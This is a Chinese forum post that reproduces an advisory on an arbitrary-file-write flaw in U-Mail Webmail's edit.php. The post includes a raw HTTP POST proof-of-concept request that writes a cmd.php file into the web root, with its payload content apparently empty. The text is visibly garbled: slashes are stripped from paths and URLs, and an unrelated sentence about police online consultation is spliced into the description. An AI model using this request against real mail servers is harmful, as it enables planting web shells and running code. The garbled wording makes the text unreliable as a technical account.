请选择 进入手机版 | 继续访问电脑版

淄博论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 13|回复: 0

关于U-Mail Webmail 'edit.php'任意文件修改漏洞

[复制链接]
发表于 2020-8-2 22:21:46 | 显示全部楼层 |阅读模式

U-Mail专家级邮件系统是福洽科技最新推出的第四代企业邮局系统。U-Mail邮件系统的edit.php文件没有正确地处理HTTP POST参数,远程攻击者可以通过提交恶意请求向webroot下的任意文件写入数据。如果向带有.php扩展的文件写入了PHP代码的话,就可能导致执行任意代码。也就是说网警110在线咨询向着良好的方向发展是可能的,未来还有很多值得我们期待的地方。

    链接::secunia.comadvisories32540


  :milw0rm.comexploits6898*>


  测试方法:


  警 告


  以下程序可能带有攻击性,仅供安全研究之用。使用者风险自负!




   
        
             POSTwebmailmodulesfilesystemedit.phpHTTP1.1   Accept:imagegif,imagex-xbitmap,imagejpeg,imagepjpeg,applicationx-shockwave-flash,applicationvnd.ms-excel,   applicationvnd.ms-powerpoint,applicationmsword,applicationx-silverlight,applicationxaml+xml,applicationvnd.ms-   xpsdocument,applicationx-ms-xbap,applicationx-ms-application,**   Referer::mail.d4rkn3t.cnwebmailmodulesfilesystemedit.php   Accept-Language:zh-cn   Content-Type:applicationx-www-form-urlencoded   Accept-Encoding:gzip,deflate   User-Agent:Mozilla4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;.NETCLR2.0.50727;.NETCLR3.0.04506.30)   Host:mail.d4rkn3t.cn   Content-Length:120   Connection:Keep-Alive   Cache-Control:no-cache   Cookie:GO_AUTH_SOURCE_KEY=0;LANGUAGE_CK=zh_CN;SCREEN_CK=Default+StyleHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18   path=varwwwhtdocswebmailcmd.php&task=save&name=cmd.php&content=
        
   




  建议:


  厂商补丁:


  目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:


  :www.comingchina.comindex.html

相关帖子

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

淄博论坛 ( 闽ICP备11020842号-1 )

GMT+8, 2020-9-26 22:38 , Processed in 2.029118 second(s), 21 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表